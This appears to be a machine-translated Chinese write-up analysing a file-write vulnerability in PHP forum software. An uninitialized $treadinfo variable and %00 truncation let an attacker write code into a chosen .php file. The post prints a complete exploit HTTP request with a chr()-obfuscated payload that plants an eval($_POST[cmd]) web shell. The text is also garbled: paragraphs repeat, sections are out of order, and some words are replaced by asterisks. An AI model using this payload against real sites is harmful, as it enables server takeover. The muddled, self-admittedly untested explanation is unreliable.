I saw similar tools on the Internet, but I couldn’t find the articles analyzed. I heard from Xiao Hei that there was one in the hacker manual, but unfortunately there was no magazine, so I caught the package and looked at the code and analyzed it roughly. This loophole is clever and classic :)
This is the file I catch the package. From the file I catch the package, we can see that there are three variables: $keyword, $cachefile, and $treadinfo. Among them, $keyword can be any keyword; $cachefile must be a PHP file, which is our PHP SHELL followed by %2500 and %00 truncate characters; $treadinfo is the code that generates *s. I did not decode it, but I guess it is the PHP code that writes a sentence * to another PHP file.
PS: The content decoding of $treadinfo is as follows:
The rawurldecode function decodes the encoded URL string, and decodes the URL strings of $keyword and $cachefile respectively. The rawurldecode function is also one of the key points. %00 After being packaged by rawurldecode, GPC=ON can be spared under 〈PHP5.0 to play a truncated role.
The N+N line code is as follows
Here is a call or file. We are looking at the two files and the last line of code is:
if($treadinfo)
writeover("./userdata/cache/$",$treadinfo,"ab");
Therefore, no matter which file is called, the content of treadinfo can be written to the cache file. Because the variable $treadinfo is not initialized, you can customize the SHELL code, and $cachefile can customize a PHP file, and then truncate TXT with %00. So this line of code is to write the * to the PHP file.
The general process of this vulnerability has been clearer. Since I have read the code in the Internet cafe, there are no specific tests. Some of the details were not pointed out, please point them out if there are any errors. I also admire the observation ability of the vulnerability explorer SAIY. It's indeed a very classic loophole :)
| GET /?keyword=By%20CN911&cachefile=%2500&treadinfo=〈?fputs(fop en(chr(46).chr(47).chr(46).chr(46).chr(47).chr(46).chr(46).chr(47).chr(98).chr(98).chr(115).chr(100).chr(97).chr(116).chr(97).chr(47).chr(99).chr(110).chr(57).chr(49).chr(49).chr(46).chr(112).chr(104).chr(112),w),chr(60).chr(63).chr(32).chr(101).chr(118).chr(97).chr(108).chr(40).chr(36).chr(95).chr(80).chr(79).chr(83).chr(84).chr(91).chr(99).chr(109).chr(100).chr(93).chr(41).chr(59).chr(63).chr(62))?〉 HTTP/1.1 Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, */* Accept-Language: zh-cn Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) Host: 127.0.0.1 |
PS: The content decoding of $treadinfo is as follows:
| &treadinfo=〈?fputs(fop OK, the above is the analysis obtained by catching the packet. Let’s look at the code below to find out where the vulnerability is. The Nth line code is as follows: $cachefile=rawurldecode($cachefile); |
The rawurldecode function decodes the encoded URL string, and decodes the URL strings of $keyword and $cachefile respectively. The rawurldecode function is also one of the key points. %00 After being packaged by rawurldecode, GPC=ON can be spared under 〈PHP5.0 to play a truncated role.
The N+N line code is as follows
| ..................... $keywordarray=explode("│",$keyword); $keycount=count($keywordarray); if($sch_area=="C"){ include'./require/'; }elseif($sch_area=="A"){ for ( $j = 0; $j 〈 $keycount; $j++){ $keywordarray[$j].="|";/*Search for authors to match accurately*/ } include'./require/'; }else{ include'./require/'; } if (!file_exists("userdata/cache/$")){ showmsg("No content you are looking for"〈br>〈br>〈br>〈a href=''〉Continue to search〈/a〈/li〈/ul〈"); } ............................... |
if($treadinfo)
writeover("./userdata/cache/$",$treadinfo,"ab");
Therefore, no matter which file is called, the content of treadinfo can be written to the cache file. Because the variable $treadinfo is not initialized, you can customize the SHELL code, and $cachefile can customize a PHP file, and then truncate TXT with %00. So this line of code is to write the * to the PHP file.
The general process of this vulnerability has been clearer. Since I have read the code in the Internet cafe, there are no specific tests. Some of the details were not pointed out, please point them out if there are any errors. I also admire the observation ability of the vulnerability explorer SAIY. It's indeed a very classic loophole :)